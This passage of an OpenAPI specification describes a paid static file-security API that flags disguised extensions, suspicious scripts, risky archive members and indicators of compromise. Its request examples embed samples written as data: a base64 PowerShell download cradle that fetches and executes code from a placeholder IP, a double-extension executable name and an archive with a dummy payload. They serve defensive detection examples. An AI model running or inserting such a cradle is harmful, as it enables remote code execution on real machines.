:{"type":"object","properties":{"kind":{"type":"string"},"code":{"type":"string"},"subject":{"type":"string"},"detail":{"type":"string"}},"additionalProperties":true}},"limitations":{"type":"array","items":{"type":"string"}}},"additionalProperties":true},"example":{"checkedAt":"2026-11-04T21:00:00.000Z","status":"detected","itemCount":1,"items":[{"id":"ext-X1","detector":"file-extension-mismatch-detect","title":"File extension / format mismatch","observedFacts":["filename=invoice.pdf.exe","extension=exe","magic=pe_executable","Double extension pattern: .pdf.exe"],"inferredThreat":"Mismatched extensions are often used to disguise dangerous payloads.","confidence":"high","relatedIds":["X1"],"reasons":["double_extension"],"evidence":[{"subject":"X1","fact":"filename=invoice.pdf.exe; extension=exe; magic=pe_executable; Double extension pattern: .pdf.exe","inference":"Compared filename extension to local magic bytes only.","confidence":"high"}],"source":"Caller-supplied","status":"signal","confirmedMalware":false}],"paidProviderUsed":false,"apiKeyRequired":false,"externalScannerUsed":false,"fileExecuted":false,"networkAccessed":false,"confirmedMalwareClaimed":false,"malwareFreeNotClaimed":true,"findings":[{"kind":"conflict","code":"extension_mismatch","subject":"X1","detail":"Extension mismatch: double_extension (confirmedMalware=false)."}],"limitations":["Files and analysis reports are copied only from caller-supplied fields. Uploaded bytes are never executed and are never sent to external malware scanners.","Analysis is static/local only with strict decoded-size, archive-depth, entry-count, and decompression limits.","Observed facts are separated from inferred threat hypotheses. Absence of matched patterns is not a malware-free verdict.","Nested archive inspection lists metadata and may inflate only small members within decompression caps.","No paid threat-intel feed is used and no API key is required."]}}}},"400":{"description":"Invalid JSON or request schema."},"402":{"description":"Payment Required"},"409":{"description":"Idempotency conflict, in-progress payment, or expired result cache. Reusing the key cannot trigger a second charge."},"413":{"description":"Request body exceeds the 24 MB limit."},"500":{"description":"Operation failed. With upfront settlement this may occur after payment; reuse the same idempotency key to retrieve the stored result."},"503":{"description":"Payment or retry-safe result storage is unavailable; the operation is not run."}},"x-payment-info":{"price":{"mode":"fixed","currency":"USD","amount":"0.03"},"protocols":[{"x402":{}}]}}},"/api/v1/file-security/suspicious-script-pattern-detect":{"post":{"operationId":"detect_suspicious_script_patterns","summary":"Detect suspicious script patterns","description":"Analyze caller-supplied scripts for suspicious static patterns (encoded commands, download cradles, obfuscation). Scripts are never executed.","tags":["file-security"],"requestBody":{"required":true,"content":{"application/json":{"schema":{"$schema":"https://json-schema.org/draft/2020-12/schema","type":"object","properties":{"text":{"type":"string","maxLength":200000},"json":{"type":"string","maxLength":200000},"csv":{"type":"string","maxLength":200000},"file":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false},"files":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"reports":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"title":{"type":"string","maxLength":200},"text":{"type":"string","maxLength":200000},"source":{"type":"string","maxLength":200}},"required":["text"],"additionalProperties":false}},"artifacts":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"asOf":{"type":"string","maxLength":40},"maxArchiveDepth":{"type":"number","minimum":1,"maximum":5},"maxInflateBytes":{"type":"number","minimum":1000,"maximum":2000000}},"additionalProperties":false},"example":{"asOf":"2026-11-04T21:00:00.000Z","files":[{"id":"S1","filename":"payload.ps1","fileBase64":"cG93ZXJzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuIC1FbmNvZGVkQ29tbWFuZCBTUUJGQUZnQVFRQkJBRUVBUVFCQkFFRUFRUUJCQUVFQVFRQT07IElFWCAoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cDovLzIwMy4wLjExMy45L2EnKQ==","source":"Caller-supplied"}]}}}},"parameters":[{"name":"Idempotency-Key","in":"header","required":true,"description":"Fresh random 32-byte value encoded as 64 hexadecimal characters. Reuse unchanged only for retries of the same operation and request.","schema":{"type":"string","pattern":"^[0-9a-fA-F]{64}$"}}],"responses":{"200":{"description":"Illustrative endpoint-specific JSON response shape. Conditional fields depend on the result and data-source availability.","content":{"application/json":{"schema":{"type":"object","properties":{"checkedAt":{"type":"string"},"status":{"type":"string"},"itemCount":{"type":"number"},"items":{"type":"array","items":{"type":"object","properties":{"id":{"type":"string"},"detector":{"type":"string"},"title":{"type":"string"},"observedFacts":{"type":"array","items":{"type":"string"}},"inferredThreat":{"type":"string"},"confidence":{"type":"string"},"relatedIds":{"type":"array","items":{"type":"string"}},"reasons":{"type":"array","items":{"type":"string"}},"evidence":{"type":"array","items":{"type":"object","properties":{"subject":{"type":"string"},"fact":{"type":"string"},"inference":{"type":"string"},"confidence":{"type":"string"}},"additionalProperties":true}},"source":{"type":"string"},"status":{"type":"string"},"confirmedMalware":{"type":"boolean"}},"additionalProperties":true}},"paidProviderUsed":{"type":"boolean"},"apiKeyRequired":{"type":"boolean"},"externalScannerUsed":{"type":"boolean"},"fileExecuted":{"type":"boolean"},"networkAccessed":{"type":"boolean"},"confirmedMalwareClaimed":{"type":"boolean"},"malwareFreeNotClaimed":{"type":"boolean"},"findings":{"type":"array","items":{"type":"object","properties":{"kind":{"type":"string"},"code":{"type":"string"},"subject":{"type":"string"},"detail":{"type":"string"}},"additionalProperties":true}},"limitations":{"type":"array","items":{"type":"string"}}},"additionalProperties":true},"example":{"checkedAt":"2026-11-04T21:00:00.000Z","status":"detected","itemCount":1,"items":[{"id":"script-S1","detector":"suspicious-script-pattern-detect","title":"Suspicious script patterns","observedFacts":["Matched script pattern encoded_command.","Matched script pattern download_cradle.","Matched script pattern eval_exec.","Matched script pattern hidden_window."],"inferredThreat":"Suspicious script constructs can indicate download cradles, obfuscation, or living-off-the-land abuse.","confidence":"high","relatedIds":["S1"],"reasons":["encoded_command","download_cradle","eval_exec","hidden_window"],"evidence":[{"subject":"S1","fact":"Matched script pattern encoded_command. Matched script pattern download_cradle. Matched script pattern eval_exec. Matched script pattern hidden_window.","inference":"Static regex indicators only; script was not executed.","confidence":"medium"}],"source":"Caller-supplied","status":"signal","confirmedMalware":false}],"paidProviderUsed":false,"apiKeyRequired":false,"externalScannerUsed":false,"fileExecuted":false,"networkAccessed":false,"confirmedMalwareClaimed":false,"malwareFreeNotClaimed":true,"findings":[{"kind":"conflict","code":"script_pattern","subject":"S1","detail":"Script patterns: encoded_command, download_cradle, eval_exec, hidden_window (confirmedMalware=false)."}],"limitations":["Files and analysis reports are copied only from caller-supplied fields. Uploaded bytes are never executed and are never sent to external malware scanners.","Analysis is static/local only with strict decoded-size, archive-depth, entry-count, and decompression limits.","Observed facts are separated from inferred threat hypotheses. Absence of matched patterns is not a malware-free verdict.","Nested archive inspection lists metadata and may inflate only small members within decompression caps.","No paid threat-intel feed is used and no API key is required."]}}}},"400":{"description":"Invalid JSON or request schema."},"402":{"description":"Payment Required"},"409":{"description":"Idempotency conflict, in-progress payment, or expired result cache. Reusing the key cannot trigger a second charge."},"413":{"description":"Request body exceeds the 24 MB limit."},"500":{"description":"Operation failed. With upfront settlement this may occur after payment; reuse the same idempotency key to retrieve the stored result."},"503":{"description":"Payment or retry-safe result storage is unavailable; the operation is not run."}},"x-payment-info":{"price":{"mode":"fixed","currency":"USD","amount":"0.04"},"protocols":[{"x402":{}}]}}},"/api/v1/file-security/archive-payload-risk-detect":{"post":{"operationId":"detect_archive_payload_risk","summary":"Detect archive payload risk","description":"Inspect caller-supplied archives for nested members and risky file types with strict depth/size/decompression limits. Contents are never executed or uploaded to scanners.","tags":["file-security"],"requestBody":{"required":true,"content":{"application/json":{"schema":{"$schema":"https://json-schema.org/draft/2020-12/schema","type":"object","properties":{"text":{"type":"string","maxLength":200000},"json":{"type":"string","maxLength":200000},"csv":{"type":"string","maxLength":200000},"file":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false},"files":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"reports":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"title":{"type":"string","maxLength":200},"text":{"type":"string","maxLength":200000},"source":{"type":"string","maxLength":200}},"required":["text"],"additionalProperties":false}},"artifacts":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"asOf":{"type":"string","maxLength":40},"maxArchiveDepth":{"type":"number","minimum":1,"maximum":5},"maxInflateBytes":{"type":"number","minimum":1000,"maximum":2000000}},"additionalProperties":false},"example":{"asOf":"2026-11-04T21:00:00.000Z","maxArchiveDepth":2,"files":[{"id":"Z1","filename":"drop.zip","fileBase64":"UEsDBBQAAAAAAAAAAAAAAAAACAAAAAgAAAAKAAAAcGF5bG9hZC5qc2FsZXJ0KDEpUEsDBBQAAAAAAAAAAAAAAAAACwAAAAsAAAAPAAAAbmVzdGVkL2Ryb3AuZXhlTVoAAGZha2UtcGVQSwECFAAUAAAAAAAAAAAAAAAAAAgAAAAIAAAACgAAAAAAAAAAAAAAAAAAAAAAcGF5bG9hZC5qc1BLAQIUABQAAAAAAAAAAAAAAAAACwAAAAsAAAAPAAAAAAAAAAAAAAAAADAAAABuZXN0ZWQvZHJvcC5leGVQSwUGAAAAAAIAAgB1AAAAaAAAAAAA","source":"Caller-supplied"}]}}}},"parameters":[{"name":"Idempotency-Key","in":"header","required":true,"description":"Fresh random 32-byte value encoded as 64 hexadecimal characters. Reuse unchanged only for retries of the same operation and request.","schema":{"type":"string","pattern":"^[0-9a-fA-F]{64}$"}}],"responses":{"200":{"description":"Illustrative endpoint-specific JSON response shape. Conditional fields depend on the result and data-source availability.","content":{"application/json":{"schema":{"type":"object","properties":{"checkedAt":{"type":"string"},"status":{"type":"string"},"itemCount":{"type":"number"},"maxArchiveDepth":{"type":"number"},"maxInflateBytes":{"type":"number"},"items":{"type":"array","items":{"type":"object","properties":{"id":{"type":"string"},"detector":{"type":"string"},"title":{"type":"string"},"observedFacts":{"type":"array","items":{"type":"string"}},"inferredThreat":{"type":"string"},"confidence":{"type":"string"},"relatedIds":{"type":"array","items":{"type":"string"}},"reasons":{"type":"array","items":{"type":"string"}},"evidence":{"type":"array","items":{"type":"object","properties":{"subject":{"type":"string"},"fact":{"type":"string"},"inference":{"type":"string"},"confidence":{"type":"string"}},"additionalProperties":true}},"source":{"type":"string"},"status":{"type":"string"},"confirmedMalware":{"type":"boolean"}},"additionalProperties":true}},"paidProviderUsed":{"type":"boolean"},"apiKeyRequired":{"type":"boolean"},"externalScannerUsed":{"type":"boolean"},"fileExecuted":{"type":"boolean"},"networkAccessed":{"type":"boolean"},"confirmedMalwareClaimed":{"type":"boolean"},"malwareFreeNotClaimed":{"type":"boolean"},"findings":{"type":"array","items":{"type":"object","properties":{"kind":{"type":"string"},"code":{"type":"string"},"subject":{"type":"string"},"detail":{"type":"string"}},"additionalProperties":true}},"limitations":{"type":"array","items":{"type":"string"}}},"additionalProperties":true},"example":{"checkedAt":"2026-11-04T21:00:00.000Z","status":"detected","itemCount":1,"maxArchiveDepth":2,"maxInflateBytes":512000,"items":[{"id":"archive-Z1","detector":"archive-payload-risk-detect","title":"Archive payload risk indicators","observedFacts":["Archive members inspected=2 (depth cap 2, inflate cap 512000).","2 member(s) have risky extensions/types (e.g. payload.js, nested/drop.exe)."],"inferredThreat":"Nested/risky archive members are commonly used to smuggle payloads.","confidence":"medium","relatedIds":["Z1"],"reasons":["risky_member_types"],"evidence":[{"subject":"Z1","fact":"Archive members inspected=2 (depth cap 2, inflate cap 512000). 2 member(s) have risky extensions/types (e.g. payload.js, nested/drop.exe).","inference":"Archive inspected locally with depth/size caps; not executed / not sent to scanners.","confidence":"medium"},{"subject":"payload.js","fact":"depth=0; magic=unknown; size=8","confidence":"medium"},{"subject":"nested/drop.exe","fact":"depth=0; magic=pe_executable; size=11","confidence":"medium"}],"source":"Caller-supplied","status":"signal","confirmedMalware":false}],"paidProviderUsed":false,"apiKeyRequired":false,"externalScannerUsed":false,"fileExecuted":false,"networkAccessed":false,"confirmedMalwareClaimed":false,"malwareFreeNotClaimed":true,"findings":[{"kind":"conflict","code":"archive_payload","subject":"Z1","detail":"Archive indicators: risky_member_types (confirmedMalware=false)."}],"limitations":["Files and analysis reports are copied only from caller-supplied fields. Uploaded bytes are never executed and are never sent to external malware scanners.","Analysis is static/local only with strict decoded-size, archive-depth, entry-count, and decompression limits.","Observed facts are separated from inferred threat hypotheses. Absence of matched patterns is not a malware-free verdict.","Nested archive inspection lists metadata and may inflate only small members within decompression caps.","No paid threat-intel feed is used and no API key is required."]}}}},"400":{"description":"Invalid JSON or request schema."},"402":{"description":"Payment Required"},"409":{"description":"Idempotency conflict, in-progress payment, or expired result cache. Reusing the key cannot trigger a second charge."},"413":{"description":"Request body exceeds the 24 MB limit."},"500":{"description":"Operation failed. With upfront settlement this may occur after payment; reuse the same idempotency key to retrieve the stored result."},"503":{"description":"Payment or retry-safe result storage is unavailable; the operation is not run."}},"x-payment-info":{"price":{"mode":"fixed","currency":"USD","amount":"0.05"},"protocols":[{"x402":{}}]}}},"/api/v1/file-security/malware-indicator-extract":{"post":{"operationId":"extract_malware_indicators","summary":"Extract malware indicators","description":"Extract IPs, domains, URLs, hashes, and emails from caller-supplied files/reports using local static parsing. Extracted strings are not live threat-intel verdicts.","tags":["file-security"],"requestBody":{"required":true,"content":{"application/json":{"schema":{"$schema":"https://json-schema.org/draft/2020-12/schema","type":"object","properties":{"text":{"type":"string","maxLength":200000},"json":{"type":"string","maxLength":200000},"csv":{"type":"string","maxLength":200000},"file":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false},"files":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"reports":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"title":{"type":"string","maxLength":200},"text":{"type":"string","maxLength":200000},"source":{"type":"string","maxLength":200}},"required":["text"],"additionalProperties":false}},"artifacts":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"asOf":{"type":"string","maxLength":40},"maxArchiveDepth":{"type":"number","minimum":1,"maximum":5},"maxInflateBytes":{"type":"number","minimum":1000,"maximum":2000000}},"additionalProperties":false},"example":{"asOf":"2026-11-04T21:00:00.000Z","reports":[{"id":"R2","title":"IoC dump","text":"Contact http://203.0.113.50/gate and evil.example domain. Hash aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","source":"Caller-supplied"}]}}}},"parameters":[{"name":"Idempotency-Key","in":"header","required":true,"description":"Fresh random 32-byte value encoded as 64 hexadecimal characters. Reuse unchanged only for retries of the same operation and request.","schema":{"type":"string","pattern":"^[0-9a-fA-F]{64}$"}}],"responses":{"200":{"description":"Illustrative endpoint-specific JSON response shape. Conditional fields depend on the result and data-source availability.","content":{"application/json":{"schema":{"type":"object","properties":{"checkedAt":{"type":"string"},"status":{"type":"string"},"itemCount":{"type":"number"},"indicators":{"type":"object","properties":{"ips":{"type":"array","items":{"type":"string"}},"urls":{"type":"array","items":{"type":"string"}},"domains":{"type":"array","items":{"type":"string"}},"sha256":{"type":"array","items":{"type":"string"}},"sha1":{"type":"array","items":{}},"md5":{"type":"array","items":{}},"emails":{"type":"array","items":{}}},"additionalProperties":true},"items":{"type":"array","items":{"type":"object","properties":{"id":{"type":"string"},"detector":{"type":"string"},"title":{"type":"string"},"observedFacts":{"type":"array","items":{"type":"string"}},"inferredThreat":{"type":"string"},"confidence":{"type":"string"},"relatedIds":{"type":"array","items":{"type":"string"}},"reasons":{"type":"array","items":{"type":"string"}},"evidence":{"type":"array","items":{"type":"object","properties":{"subject":{"type":"string"},"fact":{"type":"string"},"inference":{"type":"string"},"confidence":{"type":"string"}},"additionalProperties":true}},"source":{"type":"string"},"status":{"type":"string"},"confirmedMalware":{"type":"boolean"}},"additionalProperties":true}},"paidProviderUsed":{"type":"boolean"},"apiKeyRequired":{"type":"boolean"},"externalScannerUsed":{"type":"boolean"},"fileExecuted":{"type":"boolean"},"networkAccessed":{"type":"boolean"},"confirmedMalwareClaimed":{"type":"boolean"},"malwareFreeNotClaimed":{"type":"boolean"},"findings":{"type":"array","items":{}},"limitations":{"type":"array","items":{"type":"string"}}},"additionalProperties":true},"example":{"checkedAt":"2026-11-04T21:00:00.000Z","status":"detected","itemCount":1,"indicators":{"ips":["203.0.113.50"],"urls":["http://203.0.113.50/gate"],"domains":["evil.example"],"sha256":["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"],"sha1":[],"md5":[],"emails":[]},"items":[{"id":"ioc-R2","detector":"malware-indicator-extract","title":"Indicators of compromise extracted","observedFacts":["ips=1","urls=1","domains=1","sha256=1"],"inferredThreat":"Extracted network/host/hash indicators may support further investigation if contextually malicious.","confidence":"medium","relatedIds":["R2"],"reasons":["ioc_ips","ioc_urls","ioc_domains","ioc_sha256"],"evidence":[{"subject":"R2","fact":"Extracted IoC counts: ips=1, urls=1, domains=1, sha256=1","inference":"IoCs are strings extracted from supplied content; not validated against live threat intel.","confidence":"medium"}],"source":"Caller-supplied","status":"signal","confirmedMalware":false}],"paidProviderUsed":false,"apiKeyRequired":false,"externalScannerUsed":false,"fileExecuted":false,"networkAccessed":false,"confirmedMalwareClaimed":false,"malwareFreeNotClaimed":true,"findings":[],"limitations":["Files and analysis reports are copied only from caller-supplied fields. Uploaded bytes are never executed and are never sent to external malware scanners.","Analysis is static/local only with strict decoded-size, archive-depth, entry-count, and decompression limits.","Observed facts are separated from inferred threat hypotheses. Absence of matched patterns is not a malware-free verdict.","Nested archive inspection lists metadata and may inflate only small members within decompression caps.","No paid threat-intel feed is used and no API key is required."]}}}},"400":{"description":"Invalid JSON or request schema."},"402":{"description":"Payment Required"},"409":{"description":"Idempotency conflict, in-progress payment, or expired result cache. Reusing the key cannot trigger a second charge."},"413":{"description":"Request body exceeds the 24 MB limit."},"500":{"description":"Operation failed. With upfront settlement this may occur after payment; reuse the same idempotency key to retrieve the stored result."},"503":{"description":"Payment or retry-safe result storage is unavailable; the operation is not run."}},"x-payment-info":{"price":{"mode":"fixed","currency":"USD","amount":"0.04"},"protocols":[{"x402":{}}]}}}},"components":{"schemas":{"ApiError":{"type":"object","required":["error"],"properties":{"error":{"type":"object","required":["code","message"],"properties":{"code":{"type":"string"},"message":{"type":"string"},"details":{}}}}}}}}